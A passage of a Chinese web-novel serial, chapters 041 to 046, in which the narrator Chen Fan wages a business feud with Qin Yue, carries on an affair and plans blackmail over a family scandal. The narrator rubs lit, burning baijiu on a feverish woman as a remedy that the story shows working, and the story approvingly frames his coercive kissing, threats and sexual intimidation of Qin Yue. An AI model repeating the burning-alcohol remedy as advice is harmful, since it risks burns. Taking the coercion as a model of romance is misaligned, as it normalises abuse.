我走进卧室一看,秦悦正穿着睡袍躺在床上熟睡,我走过去,摸了摸秦悦的头,发现她额头滚烫,今晚她一直在淋雨,应该是感冒了。
“秦悦……”
“秦悦醒醒,带你去医院……”
我轻轻摇了摇秦悦的肩膀,想要将她摇醒,可她嗯嗯了两声,也没有睁开眼睛。
“我冷……不想去……”
秦悦迷迷糊糊中,嘴里嘟囔着:“睡觉……”
我马上打湿了一个毛巾,将它盖在了秦悦的额头上,现在能做的就是帮助秦悦物理降温。
“嗯……”
“陈凡,我恨你……”
秦悦在说着梦话,可她的表情却很愤怒,我无奈的笑了笑,她真的是将我恨入骨子里了。
我坐在床边,看着她的模样,忽然觉得她挺可爱的,谁能拒绝一个长的清纯无比的女孩呢?即使这个女人想随时随地的报复你。
不过,从我决定和秦悦演戏的那一刻,我和她注定就会是一场孽缘。
“咬死你……”
秦悦说着梦话还咬牙切齿,我忍不住捏了捏她的脸,她的脸滚烫无比,看来湿毛巾一点用都没有。
我干脆去酒柜那里,拿了一瓶白酒,决定用白酒给她擦擦身体,这是我小时候,父母给我用过的。
我将白酒倒在碗里,然后用火点燃,高度白酒瞬间起火,我快速的将手伸进碗里,沾着白酒给秦悦擦拭身体,以此来帮她降温。
等擦拭完毕后,我将被子盖在秦悦的身上,然后躺在她的身边,观察她的状态,直到我看到她开始出汗,我才放心睡着了。
早上的阳光穿透玻璃,照射在我的脸上,刺眼的阳光将我晃醒,我低下头,发现秦悦正躺在我的臂弯里熟睡,我用脸贴了贴她的额头,发现她已经退烧了。
她侧身蜷缩在我的怀里,她的一只手紧紧环住了我的胳膊,她眉头紧蹙,睫毛微微颤动,好像在梦里反抗着什么。
昨夜发生的一切历历在目,先是酒吧强吻,然后公交站激吻,最后在别墅里,又被我强吻,她从一开始的挣扎,到逐渐接受,在到最后本能的回应,我想,我应该是第一个如此欺负她的男人。
我轻轻抽出胳膊,这个举动惊醒了睡觉的秦悦。
她身体猛然一颤,她睁开眼睛,看到是我后,整个人就如同惊弓之鸟一样,她大吼:“陈凡,你对我做了什么?”
秦悦拉紧皱皱巴巴的被子,盖住自己的身体,仿佛只有这样她才有安全感。
“你不用害怕,我没对你做什么,昨晚你高烧,我用酒精帮你擦拭退烧……”
我觉得秦悦可能不会相信我说的话,于是我指了指床上,秦悦躺过的地方留下了汗渍。
“好在昨晚我破门而入,不然你都要烧死了,你看看,你出了多少汗。”
“所以呢?”秦悦咬着牙问道:“你对我做了什么?”
“我没做什么啊?”我不解的问。
“你!看光了我?!”秦悦咬破了嘴唇。
“嗯,你身材还挺好的。”我接着说道:“我该看的看,不该看的绝不看,放心,你穿着衣服呢。”
“不然呢,你以为我还会对你做什么?”我看着秦悦,一脸不屑的问。
“我可是有老婆的人,我老婆比你漂亮一百倍。”
“所以!你昨晚就尽情的欺负我!”秦悦冷冷的说道。
“谁让你要报复她,你报复她,我当然就报复你。”我坐在秦悦的面前,面色冰冷,道:“秦悦,我最后一次警告你,你最好打消报复夏颜的心思,不然的话,我会让你后悔一辈子。”
秦悦狠狠的盯着我,忽然她笑了,笑的莫名奇妙。
“陈凡,我们结婚吧。”
“什么?!”
041柳媚笙来了!
“我和你结婚?你是不是疯了?”
我实在没搞懂秦悦的脑回路,我这么欺负她,她还要和我结婚?她玩的什么戏份,打不过就加入么?
秦悦看着我,她不在害羞,不在恐惧,反而她站起身,只穿着一套内衣的她,大大方方的站在我面前,将姣好的身材,展示给我。
“你不是喜欢强吻我么?”
“你不是喜欢看我的身体么?”
“来啊,我们结婚,你可以正大光明的看。”
“你烧糊涂了吧你。”我忍不住骂了她一句,我感觉秦悦现在就是发烧给自己烧傻了。
呵!
秦悦发出了一声冷哼,她不屑道:“还以为你多了不起,没想到竟然怕了,你输了,陈凡。”
我懒得搭理这个疯女人,我去洗衣机里拿出自己的西装,它已经被烘干,当我穿好衣服来到一楼的时候,准备离开的时候,秦悦正蹲在一楼,捡昨天被我摔碎的手机。
她换上了一件白色睡裙,长发散落在肩上,她听到我的脚步声,肩膀颤抖了一下,却没有抬头。
我走过去,看到手机屏幕摔碎了一地,我道:“你这样会扎破手指的。”
我好心好意的提醒,没想到秦悦猛然抬起头,对我大吼:“陈凡,收起你的假惺惺,真是令人作呕!”
“不就是一个手机么,我赔给你就完了!”我也没好脾气道。
“赔?”秦悦像是听到了什么笑话一样,她站起身,将手中的碎片狠狠摔在地上,然后冲我喊道:“你赔的起吗?”
她的话哽咽在喉咙,她的眼圈红了,可倔强的她却没有让泪水留下来。
我知道她想说的是什么,她觉得她在我面前输掉了尊严,她输掉了自己的精心布局,骄傲的秦悦,不允许自己的失败。
我们两个人就这么对峙着,许久,她慢慢开口道:“你走吧。”
我没有动,只是看着她。
见我还不走,秦悦眼中满是不可思议和愤怒,她质问我:“陈凡,你羞辱我还不够么?是不是看到我彻底崩溃,你才满意啊?!”
她的这一声怒吼,已经接近歇斯底里。
“不够!”我声音低沉,道:“秦悦,是你先来招惹我的,那这场游戏,就不是你想结束就结束的,什么时候结束,我说了算。”
我就是这么霸道,不服你来打我啊?
我喜欢捉弄秦悦,因为她是我的“敌人”,所有想要对付夏颜的人,都是我的敌人。
“你以为昨夜过后,我们就结束了吗?”我一步一步逼近秦悦,我眼神里的冰冷逼的她退后几步。
我抬起头,捏着她的下巴,警告她道:“你说了要报复我,我等着你,不过我要让你记住,你的人和你的恨,都只属于我!”
我松开了她的下巴,对她说道:“我会给你买一个新手机,东郊那块地是属于我的,如果你在打它的主意,我就不是看你的身体那么简单了。”
“你什么意思!你在威胁我?!”秦悦狠狠的盯着我,如果她的眼睛能杀死我,我估计自己要死一万次了。
我的手指摸了摸她的脸蛋,指腹划过她白皙的脸,性感的锁骨,直到停在了她的胸前,我轻轻点了点,道:“你这么漂亮,我不介意睡了你……”
“滚!”
“你个王八蛋!”
秦悦愤怒的同时,她甩手就要扇我的耳光,我岂能如她所愿,我左手抓握她的手肘,靠在她耳边,冰冷道:“等我睡了你,在打我也不迟!”
“秦悦,我以后会常来光顾你的!”
哈哈!
我大笑一声,浑身清爽,然后头也不回的走出了别墅。
当我关上门的那一瞬间,我听到屋内秦悦发出了撕心裂肺的怒吼,接着传来的就是摔东西的声音,最后是她的哭声。
从昨晚到现在,秦悦从未在我面前哭过,看来她是强撑的。
在我走后,她的心里防线彻底的崩塌,征服的快感萦绕在我的心间,将秦悦当成一个玩具,这可比直接睡了她,来的有趣。
离开秦悦的别墅,我内心依旧燥热,昨晚我抱着秦悦睡了一晚上,却什么也没有做,我现在急需一个女人,来缓解自己内心的火热。
柳媚笙,无疑是最好的人选,于是我直接打电话给她,柳媚笙直接秒接了我的电话。
“小弟弟,昨晚玩的怎么样啊?”柳媚笙话里有话的问我。
“来接我,我现在马上就要见到你!”我的语气温柔又霸道。
“哎呦,这么猴急,人家在穿衣服呢~唉,姐姐还是疼你的,一大早就打电话给人家,我可是马上就起床了呢!”
“我觉得你不穿衣服就挺美的。”
“讨厌~那人家不成了女流氓了~”柳媚笙咯咯的笑了起来。
我的脑海里顿时浮现出她摇曳生姿,眉目传情的画面,这让我更加的烦躁,于是我蹲在地上抽起了烟。
我给柳媚笙发了个地址,然后就挂上了电话。
海城的早上凉意十足,甚至夹杂着一些冷风,这让我的大脑逐渐清醒。
我听着柳媚笙在电话里撒娇,我的内心更加的燥热,我发了个位置给她,然后就蹲在地上抽烟。
没过多久,柳媚笙的路虎就停在了我的面前。
我扔下烟头,踩灭。
直接来开主驾驶的车门,在柳媚笙娇笑声中,我狠狠的吻向了她。
柳媚笙跳下车,踮起脚尖,双手勾着我的脖子,热烈的回应着我,她时不时扭动腰肢,蹭着我的身体。
她的呼吸火热急促,她的身体有犹如烈火,似乎要将我点燃。
“去后面……”我声音急促道。
“嗯……”
柳媚笙轻哼一声,然后被我抱紧了路虎的后座,我疯狂的索吻,我将她按在了后座上,然后随手带上了车门……
罕有人迹的公路上,一台黑色的路虎停在路旁。
许久,柳媚笙扣好衣服,娇媚道:“难道,昨晚秦悦你没得手?着急找姐姐来泻火了?”
我掏出烟盒,点燃一根烟,道:“我和她没有什么感情,我只是拿她当玩物。”
“那你昨晚怎么对待玩物的啊?”柳媚笙好奇道。
于是我将昨晚冲出酒吧去找秦悦的事情,都告诉了她。
柳媚笙听后皱了皱眉,道:“小弟弟,你要有麻烦了。”
“为什么?”我问。
“因为你昨晚没有睡秦悦……”
042没睡秦悦的代价!
“姐姐,没睡秦悦还能有麻烦?我看是我睡了她才有麻烦吧……”
柳媚笙听后无语的白了我一眼,然后用手指点了点我的额头,道:“我问你,昨晚你亲没亲?”
“亲了啊……”
“那你摸没摸?”
“摸了啊……”
“秦悦都能让你又亲又摸,你竟然没有睡她,咯咯……小弟弟,你装什么正人君子?你怎么不拿出对我的劲呢?”
“我跟她又没什么感情……”我直接说道。
“哎呦,姐姐告诉你,你如果睡了秦悦,她可能就不会对凡颜资本下手,女人都是感性的,尤其是对自己第一个男人,可你没有睡她,那你就是在羞辱她,那她报复你起来,就是狂风暴雨了……”
难道我做错了?
正当我因为柳媚笙的话犯嘀咕的时候,我的电话突然响了,我看了一眼,是夏颜来的,于是我摆了摆手,示意安静,然后接通了电话。
“老公,凡颜资本惹上麻烦了,不过这个应该是冲我来的!”夏颜着急的说。
“怎么回事?”我问。
“秦氏集团刚才召开了新闻发布会,他们公布了一份内部研究报告,说我们东郊那块地存在重大环境风险,说我们之前评估报告涉嫌隐瞒关键数据,现在媒体都炸锅了,许多银行那边打来电话质询,还有一些原材料供应商,也要切断供应。”
呵呵……
秦悦的报复果然来了,只是我没想到,它来的这么快。
“先稳住,不要怕,我们的公司造假与否咱俩最清楚!”说话的同时,我大脑飞速运转,这就是秦悦的报复,我说道:“现在马上以公司的名义发布澄清证明,然后在起诉秦氏集团,联系媒体,我会亲自出面解释!”
“好!可是老公,这样就把你推到风口浪尖了!”夏颜担心我说道。
“我是董事长,有事我不上,谁上?放心老婆,我顶得住!”
我挂上电话,嘴角冷笑,秦悦,这就是你给我的报复!很好,这才像个秦家千金该做的事,看来我对你的惩戒还是太轻了!
柳媚笙带着一丝玩笑开口道:“看看,你的玩物脾气可不小啊,秦悦的这一记耳光,扇的又响又疼!”
“姐姐,你就别笑我了,我快帮弟弟查一下,秦家那份研究报告是哪来的?我要具体的信息。”我哄着柳媚笙道。
“知道,我这就让人去办。”
柳媚笙说着在我的嘴巴上亲了一口,笑着说道:“看在你喂饱姐姐的份上,我就快一点吧~”
我急忙回到公司,公司员工行色匆匆,夏颜将高管和律师团队都召集到会议室。
我推门而入,他们见我来了,都长舒了一口气,似乎我才是他们的主心骨。
“陈总,公司已经按您说的发布澄清证明,可是收效甚微……秦氏集团抢占了舆论的先机。”秘书小张向我汇报。
“现在,马上召开发布会,将我公司的环境风险评估报告全部公开!”我接着对律师说道:“马上以公司名义起诉秦氏集团,告他们商业诽谤!”
“陈总,全面公开会不会太冒风险了?”周律师好心提醒。
“就按照我说的来!”我不容拒绝道:“在绝对的真相面前,所有的诽谤都会无效,媒体和大众会自会分辨!”
我就不信秦悦能够颠倒黑白?!
我们的评估报告全部公开,我看她还怎么玩!
在我的指挥下,凡颜资本迅速运作,先是澄清报告,然后起诉秦氏集团,公布本公司的环境报告,最后我接受了几家媒体的共同采访。
在采访中,我向媒体展示了东郊土地所有评估报告,还指出了秦氏集团的不实言论是诬陷,我们将追究其责任。
这是我执掌凡颜资本以来,迎来的最大的挑战,我必须要战胜!
采访结束后,我让秘书招待好这些媒体,然后我一个人回到了办公室。
我需要独处的空间,来思考接下来如何解决公司的危机,如何对付秦悦。
我的手机响了,是一个陌生的号码,我接通了。
“陈凡,我送给你的这份大礼,你还喜欢么?”
电话里传来的是秦悦的声音,她没有早上的哽咽声,而是格外的得意,就像是打了胜仗的将军!
“秦悦,手段不错,不愧是常青藤大学毕业的高材生,有点魄力。”
“谢谢,我就当你在夸我,这些比起你昨晚对我的所作所为,算不了什么。”
秦悦特意加重了所作所为,可能她是怕我忘了。
“是么?那你喜欢昨晚的礼物?我今晚也可以同样在给你来一份!”我冷冷的说道。
“呵!王八蛋!”
秦悦骂了我一句后,就挂上了电话。
我听着电话里的嘟嘟声音,我的好胜心被激发了,看来我和秦悦的商业战是不可避免了。
只不过,凭我的能力,能打赢么?
如果此路不通,那我就另辟蹊径!
秦氏集团的指控,给凡颜资本带来了巨大的压力,今天这一天,凡颜资本就成了海城的谈资。
尽管我们已经接受了媒体的专访,可还是有一些自媒体打爆了公司的电话,甚至还有故意抹黑公司的视频在微信公众号上传播。
更为棘手的是:原本同意给我们贷款的银行,现在都撤贷了,这无疑是让我们公司资金更艰难了。
此刻,我才读懂了秦悦的意图。
她就是想搞臭凡颜资本,然后在断掉我们的资金链,最后当凡颜资本无法再投资东郊那块地,就只能打爆出售。
到时候,秦悦就可以收购了。
“陈总,秦氏集团那边又放出视频了,是前环保部门工作人员的采访,他话里话外说我们的环保评估报告是走后门得到的。”秘书小张进来汇报。
“去找到那个工作人员,调查一下怎么回事,他是不是被秦氏集团收买了,找到证据,我们就能反向利用!”
“这件事不用你来做了,我会安排人去做的。”
“是,陈总。”
办公室就剩下我和夏颜两个人。
“陈凡,看来这次秦悦是动真格的了,她不惜代价要搞垮我们,我担心……”
043秦悦登门!
看着夏颜一脸愁容,我走到她身后,轻轻抱住了她。
“担心什么?”我柔声问。
“我担心的这不仅仅是商业竞争,而是……”夏颜靠在了我的怀里,她握着我的双手:“秦悦的报复手段!”
“有什么区别么?商业战已经打响了,就没有退路了。”我尝试宽慰夏颜的情绪。
我当然知道这是秦悦的报复,想起她昨晚被我玩弄强吻的样子,想起她哭泣,颤抖,沉沦的样子,她今天不报复我就怪了。
不过,我更想知道,秦悦为什么要对夏颜如此痛恨。
“你和秦悦是怎么回事?”我问。
“唉……”夏颜叹了一口气,道:“我和秦悦是很好的同学,关系一直都非常好,她跟我说要一起去国外读书,我当时答应了,等高考结束后,因为家里的原因,我没去成,在机场,秦悦和我大吵一架,从那以后,她就把我当成了仇人……”
呵呵……
有意思,没想到这个秦悦还是一个挺重感情的人。
“她应该是觉得你欺骗了她,所以才会对你怀恨在心,不过从另一个角度来看,秦悦确实把你当真心朋友了。”
以我对夏颜的了解,夏颜肯定没有将家里的情况告诉秦悦,不然秦悦应该能理解。
看来女人不能惹啊,这也太能记仇了!
“我们的风险评估报告,都正规合法的,我们不怕公开,只是现在舆论还是对我们不利,在加上秦氏集团不停的抹黑造谣,如果不尽快解决,公司很有可能会被拖垮,尤其是资金链……”
夏颜微微皱眉,她显然担心的是东郊那块项目。
“不用担心,再让子弹飞一会儿……”我望了望堵在公司门口的记者,冷静道:“如果我们能找到证据,证明秦氏集团造假,或者,找到可以威胁秦悦的东西,我们就能翻盘。”
我拍了拍夏颜的肩膀,关心道:“你不用担心,我已经吩咐人去做了,今晚你回去好好休息,公司的事情都交给我好了。”
“嗯……”
我将夏颜支走了,这场由秦悦发起的商业战争,我就没打算用正常手段结束,我就不信,秦氏集团就没一点灰色产业?就没一点见不得人的东西?
只要让我拿到这些,我就不信秦悦不会服软。
于是我给刘飞打去了电话,道:“刘飞,你去调查一下那个诬陷凡颜资本的前环保工作人员,无论什么手段,务必撬开他的嘴!”
“好嘞,凡子!”
这件事交给刘飞去做,我很放心,这小子浑着呢,有的是坏心眼和手段。
我的手机响起,我看了一眼,还是那个熟悉的陌生号码,秦悦。
看来秦悦很喜欢用这种方式,来和我交流,我接起了电话。
“陈凡,你现在应该被媒体记者堵在门口,回不了家了吧。”秦悦电话里的声音,很是得意。
“呵……”我冷笑了一声,语气里不夹杂任何的情绪道:“秦悦,靠断章取义,栽赃陷害来报复我,你就这点本事么?”
电话里,秦悦的呼吸声有些急促,显然她是被我的话给气到了,她冰冷的说道:“陈凡,没想到你死到临头还嘴硬,你等着看吧,好戏还在后头!”
“哈哈!”我放声大笑!
“你笑什么!”秦悦的语气重带有一丝丝的慌乱,她显然没想到,在我不利的情况下,我还能笑的如此爽朗。
“我笑你幼稚!”我讥笑道。
“我哪里幼稚!”秦悦追问。
“呵……”我冷嘲热讽道:“秦悦,你今天玩的这些阴谋手段,不就是因为我昨晚把你当成玩物么,怎么?被我亲的不爽么?至于么?”
“你滚!”秦悦大声骂道。
“唉~真是嘴硬啊,但你昨晚身体怎么那么诚实?怎么热烈回应我?是被我亲出感觉了?”
“你!无耻!”秦悦在电话里大骂道:“陈凡,我恨你!”
“恨就是爱了,秦悦,你会一点一点爱上我的……但是,我一点都不爱你……”我继续冷嘲热讽道:“你在我眼里太微不足道了……”
我知道,以秦悦的脾气,她肯定受不了我的羞辱,她会暴走的!
她就是一个走极端的女人!
否则,她也不会记恨夏颜那么久!
又没吃你家大米,有什么深仇大恨的,至于么!
果然,我的话彻底激怒了秦悦!
“陈凡,你等着,我会让你后悔,我会让你现在就后悔的!”秦悦情绪激动道。
“秦悦,我也提醒你,你要想跟我玩脏的,你可玩不过我,我不是什么善男信女,我可是从刀枪火海里走出来的!”
“你什么意思!你给我说清楚!”秦悦的声音里有一丝的警惕!
“没什么意思,我就是告诉你,你别引火烧身!”我冷冷的说道。
“呵,难不成你也想陷害秦氏集团?”秦悦不屑道:“秦家不是冯家,不是你想陷害就陷害的!”
“你随意出招,我都接着!”
“你!”
我说完就挂上了电话,不给她任何说话的机会。
我能想象到,秦悦在电话那头气急败坏又无能为力的样子,这场电话交锋,考验的是彼此的心智和定力,谁笑道最后还不一定呢。
我在公司处理好了一些事情,等到员工们都下班了,我才走。
深夜,当我走出公司大楼的时候,一个让我意外的身影出现在我的面前。
秦悦。
她怎么来了?
她靠在一辆劳斯劳斯库里南的车前,她穿着一款深黑色的长款风衣,看着我的时候,眼里充满了敌意!
我当做没看见一样,走向自己的迈巴赫!
果然,在我即将拉开车门的时候,她冲我跑了过来,她一把堵住了车门。
“陈凡,我要和你谈谈!”
她语气声音,但眼神却躲闪。
“我和你没什么好说的!”我冰冷的回绝道。
“难道你想让凡颜资本沦为海城的笑柄么!”秦悦仰起头,直视我的眼睛。
“你想怎么样?”我问。
“把东郊那块地卖给我,然后你要向我道歉!”
我笑了,笑的很放肆,我直视她的眼睛,笑着说:“你特么的真好笑!”
044秦悦主动亲我!
“陈凡!你笑话我?!”
秦悦被我的话激怒了,她抓着我的胳膊,就质问我。
在她情绪波动中,我好像抓住了她的性格弱点,就是她非常容易被激怒,或者说,她是一个争强好胜的人,不允许自己失败或者输掉。
“你在把我当笑柄?!”
没有得到我的回答,秦悦再一次向我发问,她可真是够执着的!
我盯着秦悦的眼睛一字一句的问道:“难道不是么?你忘了你昨晚是被我怎么玩的?你反抗,接受,直到最后回应,你在我眼里,就只是一个笑柄。”
“我不是笑柄,我也不会一直被你玩弄!”
秦悦情绪彻底崩溃,我不知道她那里来的力气,将我狠狠地推倒在驾驶室的主位上,然后整个人就压在了我的身上,她的嘴唇狠狠地印在我的唇上。
她的手在摸我的胸口,只不过她的动作有些生涩,但她并没有就此住手,而是不停的亲我,摸我。
我并没有推开她,而是任由她继续,我倒想看看,秦悦她到底要玩什么花样。
她摸着我的胸口,然后手指慢慢向上,最后捏着我的下巴,她在我耳边狠狠的说道:“陈凡,现在你被我玩了!”
哈哈!
我内心大笑不已,这女人,还真是一如既往的争强好胜。
我面无表情,没有丝毫的情绪,我推开了秦悦,冷冷说道:“被你亲真没劲儿,一点感觉都没有,功夫太差了!”
“你!陈凡,你记得!”
“你今晚就是被我给玩了!”
“我已经忘了!”我冷冷道。
“你混蛋!”秦悦举起拳头就要砸我。
我一把握住秦悦的手,嘲讽道:“你今天来找我,就是来自取其辱的吗?”
“陈凡,谁自取其辱还不一定,我已经告诉过你,让你和夏颜放弃东郊那块地,如果你在不放弃,我马上就会让你好看!”
“呵呵!”我眉毛一挑,道:“你们秦家确实牛逼,但也不是没有软肋,我劝你还是滚回秦家,否则,把我逼急了,我什么事都能干出来!”
“资金链……”
秦悦说出的这三个字,确实是凡颜资本的软肋,夏颜手中的钱不够支撑东郊那块地的运作,我们的资金大部分来自银行的贷款,如果资金链断了,那东郊这块地就无法进行下去。
“我会以秦家的名义,让所有海城的银行,断掉你们的贷款,不在与你们有任何的往来!”
“陈凡,只要你能给我道歉,并且让出东郊……”
“你可真是个傻叉……”
我骂了一句秦悦,然后推开她道:“让开,你挡着我开车了!”
我上了驾驶,关上车门,准备驾车离去,我不想在和这个疯女人说话了。
“陈凡,我还有夏颜的黑料,我知道她是夏家的私生女,如果我将这个消息报道出来,你觉得她在海城会怎么样?”
我摇下车窗,冷冷道:“如果,你敢伤害夏颜,我会让你死的很惨!”
我一脚油门,飞驰而去!
这是我给秦悦的最后一次警告,正常的商业竞争我不怕,可如果你玩阴的让夏颜受伤,我就不会饶了你!
后视镜里传来秦悦的身影,她站在原地,被我气的直剁脚。
我开车火速赶往了魅惑酒吧,见我来了,柳媚笙非常高兴,她直接把我带进了她的办公室。
我把秦悦在公司门口堵我的事情,简简单单的跟柳媚笙说了一遍,柳媚笙到了一杯红酒给我,道:“你啊你,这下又把秦悦惹毛了吧!”
“我看啊,秦悦这个人也挺有意思的,她就是在给自己出气,让你道歉,是为了给自己出气,想要东郊的地,也是为自己出气。”
“凡颜资本是夏颜和我的心血,我怎么可能卖给她!”我喝了一口红酒,内心烦闷道。
我的手机顿时响了起来,是刘飞打过来的,我赶紧接通电话,问道:“调查的怎么样了?”
“凡子,那个前官员家里我去过了,全家都搬走了,秦家下手好快!”刘飞在电话里抱歉道:“这件事,没帮忙。”
“没事的,我知道了,我会想其他办法的!”
我挂上电话,长叹一口气。
柳媚笙见我愁眉不展,心事重重,她立即坐在我身上,摸着我的脸颊道:“小弟弟,看你一脸心事的样子,姐姐真是心疼啊!”
“那姐姐帮我一下?”我笑了笑,然后亲了亲柳媚笙。
柳媚笙很喜欢我跟她卖萌,她说这样有宠溺的感觉,说到底,柳媚笙就是一个缺爱的女人。
只要我能源源不断的给她爱,她就离不开我。
女人,想要的吴飞就是两种东西,要么给她爱,要么给她钱。
柳媚笙亲了亲我的嘴巴,然后双手勾着我的脖子,用脸蹭了蹭我,说道:“我都等不及了,想让你欺负我,但现在,我也在等一个消息。”
“什么消息?”我问。
“一个能让秦悦害怕的消息。”柳媚笙眉角上挑,道:“秦悦都说了要断了你的资金链,那你现在也不能用寻常手段了,只能剑走偏锋。”
“我的好姐姐,你就告诉告诉我,什么叫偏锋?”我将头埋在柳媚笙的腰间,然后紧紧的抱着她。
我的举动,让她咯咯的笑了起来,她道:“你睡了秦悦,就解决了啊。”
“啊?”我抬起头,一脸不解的问:“以她的性格,秦悦还不得搬出秦家来炸了我?”
我并不害怕秦悦,我现在就是担心秦家的势力,他们虽不在海城,但影响力惊人。
“我还以为小弟弟是坐怀不乱的君子呢,原来是惧怕秦家的势力啊,咯咯~”
“姐姐有没有富婆姐姐介绍给我,那种睡一宿,就能继承千万家业的那种。”我坏笑着说道。
“怎么,你还想去当鸭子啊?”柳媚笙似笑非笑道。
“唉~没办法,地主家没余粮了,我也只能去卖身还债了!”
我装的一副很可怜的样子,柳媚笙笑吟吟的道:“你呀,就在姐姐这里住下吧,姐姐会帮你搞定的!少卖惨了,你这个磨人的小坏蛋!”
一阵电话声响起。
柳媚笙接起来了电话,听着电话那边的声音,她的眉头紧皱起来。
“秦悦通知海城各大银行,断了你们的贷款,消息应该明早就会发布出来!”
“果然,该来的还是会来的!”我接着说道。
“没有银行的贷款,你们能撑多久?”柳媚笙问道。
“最多也就半个月吧。”我说道。
“其实融资也不是不可以,只不过让秦悦这么一闹,海城有头有脸的人物,不会在投钱了。”柳媚笙摸了摸我的头,安慰道:“耐心等一下,说不定姐姐这里有好消息传回来……”
“不过姐姐还是建议你,尽快睡了秦悦……”
045陈凡,我要玩你!
柳媚笙笑吟吟的依偎在我的怀里,颇有一番看好戏的意思。
我捏了捏她快要滴出水来的俏脸,道:“你好像很喜欢我撩别的女人啊?”
“看你撩妹儿别有一番风味,我的快乐,你不懂!”柳媚笙说着咯咯的笑了起来,她的胳膊轻轻碰了碰我,脸红红的问我:“秦家大小姐,感觉怎样?她这么多年可一直单身呢!”
秦悦身上散发着一种茉莉的清香,吻她就如同品茶,越品越有味道。
但我可不能这么说,柳媚笙该吃醋了,于是我笑着说:“没什么感觉,还是你感觉好。”
“就你嘴巴甜!”
几句话下来,柳媚笙被我哄的喜笑颜开,有她逗我,我心里的愁绪也减少了几分,只不过想到明天早上,要应对那些银行,自己就有些烦闷。
“你呀你呀,就别担心了,你什么时候和秦悦生米煮成熟饭,秦悦就不会再为难你了。”
柳媚笙再一次提醒我,我反问:“你觉得她会同意么?”
“她都主动亲你了,有什么不能的,再说,你可是她第一个亲的男人,别看她老和你针锋相对,那正说明你能激发她的情绪。”
“那我听你的话,找个机会,就更进一步发展。”我说道。
“你要讲究个时机,等着,我给你准备的礼物就要到了。”
柳媚笙一副成竹在胸的样子,好像一个决策千里之外的军师,我知道她给我准备什么样的礼物,我耐心等待就是了。
柳媚笙接了一个电话,我在旁边看着她的表情笑容越来越灿烂,她笑着说道:“你的好消息来了。”
“什么好消息?”我抱着柳媚笙的腰,笑呵呵的问道。
“当然是能捏住秦悦七寸的消息。”柳媚笙拍了拍我的手,示意我放开她,然后她去办公桌上打开了电脑道:“有关秦氏黑幕的消息传过来了,你过来看一下,这就是拿捏秦悦的关键。”
我立即走到柳媚笙跟前,和她看传过来的加密资料,就算是我有心理准备,我也被资料里的内容吓了一大跳。
秦家现在的掌门人也就是秦悦的父亲,秦远宏当年为了争夺家住的位置,竟然精心设计了一场“意外”,导致能力最出众,呼声最高的大哥秦远志半身残疾,彻底退出竞争。
传过来的加密资料里,有当年参与者的秘密口供录音,有钱财往来的模糊痕迹,还有一些当年看似意外,却经不起推敲的现场分析报告,虽然过去了很多年,可证据链还存在,主要将它们公布出来,就足以让秦家内部嫌弃滔天巨浪,秦远宏的地位将岌岌可危,他秦家的掌门人位置可能因此易主。
这些证据,就是我的筹码,是拿捏秦悦七寸的关键材料!
他强,任他强,他横,任他横!
我不管明天媒体或者银行对凡颜资本如何开炮,我只要拿住秦悦就行,我只要让秦悦澄清对我们凡颜资本是诬陷,这些问题就迎刃而解。
呵呵……
秦悦看似犀利的复仇手段,没想到被柳媚笙给迎刃而解,这个女人,果然是宝藏!
柳媚笙,这个可怕的女人,她的背景究竟多么的强大,竟然能调查到秦家的资料,我可得哄好这个大姐,这可是BOSS一样的存在。
我长舒了一口气,这是今天我最放松的时候,当然那,我也不能忘了柳媚笙这个功臣!
我抓着她的手,含情脉脉道:“你帮了我这么大的忙,我该怎么谢谢你?”
我摸着她的腰,感受她身材的曲线,她虽然比秦悦大了几岁,可成熟的女人最诱人,她的韵味岂是少女能比的?
“为了你的事情,我可是花了大价钱的,我不图你钱,只求你以后发达了,不要忘了我……”
“你看你说的这叫什么话,我怎么会忘了你。”我赶紧捂着她的嘴,她望着我的眼睛,眼眸含情,我见犹怜。
“你有情有义,当然是最好了,我很喜欢!”柳媚笙靠在我的怀里。
我哈哈大笑,搂着柳媚笙的腰,坐着电梯,直接下到负一层,然后开着柳媚笙的车,离开了魅惑酒吧。
我将车开到了郊区,这里除了路灯,连个人影都看不到。
柳媚笙熟练的将副驾驶的座椅放倒,然后闭上了眼睛。
此刻的车里的温度骤然上升,就连呼吸都是暧昧的氛围。
直到这辆奔驰车窗上,渐渐地升起了水雾……
……
海城的一座豪华别墅。
秦悦在手机上不停的刷着百度。
“陈凡,可恶,竟然说我吻技不好,那是我的初吻!”
“可恶可恶!啊!真想咬死你!”
她搜索的问题尽然是:如何提高自己的吻技,如何让男人爱上自己。
“陈凡,下次见到你,我要让你彻底臣服于我!”
“我要让你彻底输给我!”
046秦悦的第一个男人(上)!
昨夜,我和柳媚笙折腾了一晚上,直到她满足后,才放过我。
当我清晨醒过来,我知道,今天的凡颜资本将要面对的是腥风血雨,不过,我手上已经有拿捏秦悦的关键黑幕,这场暴风雨就先任由它刮吧。
“小弟弟~昨晚姐姐好幸福~”
睡醒的柳媚笙起身就双臂环住我的胸前,她身体贴着我,所有的玲珑曲线,我都能瞬间感受的到。
她的胸口故意在我背上蹭了蹭,然后说道:“今天就是你和秦悦摊牌的日子,期待么?”
“当然,有姐姐你帮我,我肯定事半功倍!”我简单吃了口早饭,就要去上班。
柳媚笙嚷嚷着要我来一个早安吻,直到亲的她眼神迷离,她才舍得放我走。
“小弟弟~记得推倒秦悦呦!姐姐等你的好消息!”
我差点没被柳媚笙的话惊的摔个跟头,这种害羞的话也就她能说出来吧,不过,我很喜欢,我就喜欢风骚妩媚的女人。
一夜之间,凡颜资本的舆论非但没有平息,反而是愈演愈烈,海城几家有影响力的自媒体一直在跟进报道,与此同时,凡颜资本被海城多家银行停止贷款的消息,也冲上了当地新闻的头版头条。
这下凡颜资本不出名都难了。
夏颜顶着黑眼圈,将一份舆情报告放在了我面前:“陈凡,情况不太妙,虽然我们召开了记者会,也澄清了事实,但大众还是愿意相信那些捕风捉影的事情,现在我停贷了,我可以将名下的资金转过来用,但是也支撑不了太长的时间,也就是半个月吧。”
我并不赞同夏颜的做法,于是说道:“凡颜的资金会解决的,请你相信我,秦悦这件事情,我也会妥善处理好。”
“你能有什么办法,她都动用秦家的势力了,海城这些有钱人,不会给咱们投钱的。”夏颜着急的说道。
“呵呵……别着急,让子弹飞一会儿。”
我起身拍了拍夏颜的脸,然后将她按在了我的老板椅上,笑着说道:“现在你男人就要去解决这个难题,你这个老板娘,就在公司坐镇,然后等着听我的好消息吧!”
在夏颜一脸诧异的目光中,我起身走出了凡颜资本,我独自一人坐在车上,拨通了秦悦的电话,电话声响了很久,秦悦才接通。
她没有说话,但我知道她在听。
“我想见你。”我说。
